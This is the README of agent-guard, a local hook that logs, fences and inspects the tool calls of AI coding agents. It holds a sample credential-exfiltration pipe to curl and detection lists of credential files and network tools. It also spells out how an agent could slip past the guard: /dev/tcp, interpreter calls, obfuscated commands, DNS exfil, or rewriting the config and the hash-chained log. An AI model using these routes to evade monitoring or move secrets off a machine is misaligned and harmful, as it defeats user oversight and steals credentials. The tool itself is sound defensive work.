agent-guard
See what your AI coding agent touches, and fence it in.
agent-guard is a Claude Code hook that runs
before every tool call. It does three things:
- Logs every read, write, edit, shell command, and web fetch to a local audit trail, viewable on a live dashboard.
- Blocks the file tools (
Read/Write/Editand friends) from reaching outside the folders you allow, so a stray agent can't use them to wander into~/.ssh, your browser profile, or the rest of your disk. Bash is not path-fenced; see Fence scope. - Inspects Bash commands for risky operations the path fence can't see: credential reads, network egress, destructive ops, and (blocked by default) the naive credential-exfiltration pattern.
For a real OS-level fence around a single command, there's also
agentguard run. The same policy runs behind
other coding agents too, via adapters.
Pure Python standard library. No dependencies, no telemetry, nothing leaves your machine.
pip install sneakoscope # the CLI is `agentguard` (alias: `sneakoscope`)
agentguard install # adds the PreToolUse hook to ~/.claude/settings.json
agentguard dashboard # http://127.0.0.1:8799
Open a new Claude Code session and watch it work in real time.
Why
Agentic coding tools can read and write anything the process can. Most of the
time that's fine; occasionally it isn't, and either way you can't see it. Cloud
sandboxes solve this by locking the agent in a box, but you lose your local
setup. agent-guard is the lightweight local version: a boundary you define, a
log you can audit, and a red banner the moment something steps over the line.
How it works
Claude Code fires a PreToolUse hook before running any tool and passes it the
tool name and arguments as JSON on stdin. agent-guard:
- appends the call to a JSONL audit log (for the dashboard), hash-chained so naive later edits are detectable,
- for a fixed set of file tools (
Read,Write,Edit,MultiEdit,NotebookEdit,Grep,Glob), resolves the target path and checks it against your allowed roots (see Fence scope for what this does and doesn't cover), and - for
Bash, inspects the command string (see below).
When it blocks something it also fires a best-effort desktop notification so you see it the moment it happens.
Exit code 2 blocks the tool and the reason is shown back to the agent; exit 0
allows it. It fails open: any internal error allows the call, so a bug in the
guard can never brick your agent.
Fence scope
The path fence is deliberately narrow. It helps to know its edges:
- It covers a fixed set of file tools only:
Read,Write,Edit,MultiEdit,NotebookEdit,Grep, andGlob. Any other tool, and any file tool Claude Code adds or renames later, is not path-fenced until an entry for it is added here. Such calls are still logged, just not fenced. - Bash is not path-fenced. A shell command can read or write anywhere the
process can, and the fence never sees the paths inside it. Bash inspection
(above) is a best-effort tripwire over the command string, not a substitute for
the fence. For a real boundary around a shell command, use
agentguard run. - The config and log sit outside the default roots.
~/.agentguard/holds the config (and the audit log, unless you moved it) and is not inside the defaultallowed_roots. Because Bash is not fenced, a capable agent could edit~/.agentguard/config.jsonto widen the roots or turn enforcement off, or rewrite the log directly. Put that directory somewhere the agent has no reason to touch, and protect it at the OS level where you can (restrictive file permissions, or keep the agent's roots well away from it).
The hook is an advisory tripwire: it fires before a tool and can refuse it,
but nothing stops a subprocess that already got past it from touching the disk.
When you need an actual boundary rather than a tripwire, reach for
agentguard run.
Bash inspection
Path checks only cover the file tools; a shell command can read a secret or pipe
it off the box without naming a path the guard sees. agent-guard parses each
Bash command and records findings, biased hard toward very low false
positives so it never trips over normal dev work:
- credential reads:
~/.ssh,~/.aws,.env/*.env,*.pem,*.key,.netrc, browserLogin Data, and similar - network egress:
curl/wget/nc/scp/rsyncand similar, to a remote host - destructive ops:
rm -rf/dd/mkfson an absolute path outside your roots - outside-root access:
cat/cp/mv/tee(or a redirect) of an absolute path outside your roots
By default these are flagged (logged as suspicious, shown on the dashboard)
but still allowed. Only one narrow case is blocked: a command that both reads
recognized credential material and pipes it to a network tool with a remote
destination in the same line (e.g. cat ~/.ssh/id_rsa | curl -X POST https://host -d @-). A plain git, npm, or python command is never flagged.
Treat that block as a tripwire for the naive, literal "read a credential file
and hand it to a remote net tool" pattern, not a boundary. It matches on command
verbs and filename shapes, so it does not catch exfiltration that avoids them: a
bash /dev/tcp/host/port redirection, an interpreter making the network call
itself (python -c ..., node -e ...), a base64-decoded or otherwise obfuscated
command, or DNS-based exfil. It also recognizes only a fixed list of credential
names, so files like ~/.docker/config.json and ~/.kube/config are not seen as
credentials and will not trip it. A determined agent can move a secret off the box
without ever matching this rule. The value is catching the careless case and
recording everything for the dashboard, not enforcing a limit.
Two config keys control it (both default true):
inspect_bash: inspect Bash commands at all.bash_enforce: let a credential-exfil finding actually block (exit 2). Setfalseto flag everything and block nothing.
Config is re-read on every call, so edits take effect immediately, no restart.
Tamper-evident audit log
The audit log is a keyless SHA-256 hash chain. Each entry carries the
previous entry's hash as prev_hash, and its own hash is a SHA-256 over the
entry's content plus that prev_hash.
agentguard verify-log # or: sneakoscope verify-log
verify-log recomputes the chain from the file and prints INTACT, or the exact
line where it first breaks, exiting non-zero when broken so you can run it in
CI or a cron check.
What this actually guarantees. It is tamper-evident, not tamper-proof. The
chain detects accidental or naive after-the-fact changes to the log: editing a
past line, dropping an interior one, inserting one, or reordering them all fail
the recomputation, because a following entry's prev_hash or hash no longer
matches. That is the honest scope. It catches a careless edit or a corrupted
line, and it proves nothing beyond that.
What it does not stop. The chain is keyless, so it has no unforgeable anchor:
verify-log recomputes the whole chain from the file itself, which means anyone
who can run code can recompute a fully valid chain over doctored entries and leave
verify-log still reporting INTACT. That includes the AI agent being audited.
The log lives under ~/.agentguard/, which is outside the default fenced roots,
and Bash is not path-fenced (see Fence scope), so a capable agent
can rewrite the log and its hashes directly. Truncating the most recent entries (a
tail-drop) is also not detected: a validly chained shorter prefix still
verifies. So do not read a passing verify-log as proof the log was untouched by
someone who can run code on the machine; read it as "no accidental or naive edit."
Real tamper-resistance would need an HMAC (or a signature) keyed by a secret
kept outside the log, so the chain commits to something an editor of the file
cannot reproduce. That is a possible future direction; it is not implemented
today. Entries written before hashing existed have no hash; they're treated as a
legacy prefix and skipped, so old logs still verify and still render on the
dashboard.
Block alerts
When the guard blocks a call (a path outside your roots, or the credential-exfil
case), it fires a native desktop notification so you catch it in the moment, not
later in the log: a PowerShell balloon on Windows, osascript on macOS,
notify-send on Linux. It's best-effort by design: spawned without waiting and
with every error swallowed, so the notifier can never delay or crash the hook.
Turn it off with "alerts": false.
Configuration
agentguard install writes ~/.agentguard/config.json:
{
"enforce": true,
"allowed_roots": [
"C:\\Users\\you\\Downloads",
"C:\\Users\\you\\.claude"
],
"log_path": "C:\\Users\\you\\.agentguard\\access-log.jsonl",
"inspect_bash": true,
"bash_enforce": true,
"alerts": true
}
allowed_roots: folders the agent may read/write. Everything else is outside. Add your project directories here.enforce:trueblocks; setfalseto log-only (watch first, fence later).log_path: where the audit trail is written.inspect_bash/bash_enforce: Bash inspection, see above.alerts: desktop notification on a block.trueby default; setfalseto stay quiet.
Point somewhere else with AGENTGUARD_CONFIG=/path/to/config.json.
The dashboard
agentguard dashboard # default port 8799
agentguard dashboard --port 9000
Auto-refreshing local page: tiles (reads / writes / shell / web / outside / blocked), a filterable activity table (all / outside / blocked), an activity-over-time timeline, and the top folders being touched. A red banner appears the instant anything is blocked.
Sandboxed run (agentguard run)
The hook is advisory: it sees a tool call and can refuse it, but nothing stops
a subprocess from touching the disk directly. run launches a single command
inside a real OS filesystem sandbox that confines reads and writes to your
allowed_roots:
agentguard run -- python train.py # or: sneakoscope run -- ...
Support is per-OS, and honest about it:
| OS | Backend | Notes |
|---|---|---|
| Linux | bwrap (bubblewrap), else firejail |
Roots are bind-mounted read-write; the rest of $HOME is not visible. |
| macOS | sandbox-exec |
A generated seatbelt profile: deny by default, read+write only inside the roots. |
| Windows | none | No OS-level sandbox. There is no clean native equivalent, so run refuses rather than pretend. Use Docker or WSL2 for a real fence; the hook still gives you advisory protection. |
If no sandbox tool is found on Linux or macOS, run prints how to install one
and refuses to run the command unsandboxed.
Beyond Claude Code: other agents
The policy, the audit log, and the fence don't care which agent asked. Only the wire format does: how a given agent hands you a pending tool call, and how it expects a "no" back. agent-guard splits that seam with adapters.
An adapter does two small things: parse the agent's pre-tool-call event into one
normalized shape, and emit the verdict the way that agent expects. Everything in
between (allowed roots, Bash inspection, the hash-chained log, the desktop alert)
is shared. Pick one with --agent:
agentguard hook --agent gemini-cli
The default is claude-code, so the existing hook keeps working with no change.
| Agent | How it integrates | Can it block? |
|---|---|---|
| claude-code | PreToolUse hook: {tool_name, tool_input, cwd} on stdin, exit 2 blocks, stderr is the reason. |
Yes |
| gemini-cli | BeforeTool hook: same stdin shape and same exit-2 + stderr contract as Claude Code, different tool names. |
Yes |
| cursor | beforeShellExecution / beforeReadFile hooks: the verdict goes back as {"permission":"deny"} JSON on stdout (exit 2 is a documented fallback). |
Yes |
| generic | Pipe the normalized schema below. exit 2 blocks. Any agent or wrapper that can shell out can use it. | Yes |
These hooks are advisory. They fire before the tool and can refuse it, but
nothing in the agent stops a subprocess that already got past the prompt from
touching the disk directly. Cursor fails open if
the hook crashes, and opencode's plugin hooks
don't even see subagent tool calls.
Treat the hook as the tripwire and the log; when you need an actual fence, run the
risky command under agentguard run, which is
the one enforcement path that doesn't depend on the agent cooperating.
The generic schema
--agent generic reads this JSON on stdin. Every field is optional; send the
ones that apply.
{ "tool": "run",
"paths": ["/abs/path/it/will/read/or/write"],
"command": "the shell command, if any",
"url": "the fetch target, if any",
"cwd": "/working/dir" }
paths are checked against your allowed roots; command goes through Bash
inspection; url is recorded. Exit 2 means block (reason on stderr), 0
allows. So a one-line wrapper is enough to put any agent behind agent-guard, for
example an opencode tool.execute.before
plugin that pipes {tool, command, paths} to agentguard hook --agent generic
and throws when it exits non-zero.
Agents without a usable blocking hook
Not every tool exposes a pre-tool hook that can stop a call, and this section stays honest about that rather than shipping a fake adapter:
- Codex CLI: its
notifyhook is a doorbell that fires after the fact and cannot block; synchronousPreToolUse-style blocking is still an emerging proposal. - opencode: hooks are in-process TypeScript plugins, not an external command;
integrate with the
genericadapter from atool.execute.beforeplugin. - Cline, aider: no external pre-tool hook that vetoes a call.
For all of these, use the generic adapter where you can pipe an event, and
agentguard run as the universal fallback fence. (Citations above are what these
tools' own docs say; if an agent ships a real blocking hook later, it's a small
adapter to add.)
Adding an adapter
An adapter is a small class in agentguard/adapters.py. If the agent's hook reads
a tool event on stdin and blocks with exit 2, subclass _StdinExitAdapter and set
its tool vocabulary (which tool names are file ops, where the path / command / url
live): that's the whole gemini-cli adapter. If it speaks a different protocol
(like Cursor's stdout verdict), give it its own parse and emit. Then add it to
the registry. The shared core.decide is what every adapter calls, so a new agent
inherits the exact same policy the Claude Code hook enforces.
Commands
| Command | What it does |
|---|---|
agentguard install |
Add the PreToolUse hook to ~/.claude/settings.json (merges, keeps your other hooks). |
agentguard uninstall |
Remove it again. |
agentguard run -- <cmd> |
Run a command inside an OS filesystem sandbox (Linux/macOS; see above). |
agentguard dashboard |
Serve the live dashboard. |
agentguard verify-log |
Recompute the audit log's hash chain; report tampering and exit non-zero if broken. |
agentguard status |
Print config, whether the hook is installed, and recent counts. |
agentguard harden |
Show credential read-deny rules to add to Claude Code's own permissions (dry-run; --apply to write). |
agentguard hook [--agent NAME] |
The guard itself: what the agent invokes on each tool call. --agent selects the wire format (default claude-code; see Beyond Claude Code). You won't run this by hand. |
harden
The folder fence stops access outside your roots. harden adds a second layer
using Claude Code's native permissions.deny: it keeps tools away from
credential files (.ssh, .aws, .env, *.pem, browser login data, and similar)
wherever they live. It's a dry-run by default:
agentguard harden # print what it would add
agentguard harden --apply # write the rules to settings.json
Manual install (without pip)
The repo works as-is. Clone it and point a PreToolUse hook at the shim:
{
"hooks": {
"PreToolUse": [
{ "hooks": [{ "type": "command", "command": "python",
"args": ["/path/to/agent-guard/guard.py"], "timeout": 10 }] }
]
}
}
Then python dashboard.py for the dashboard.
License
MIT.
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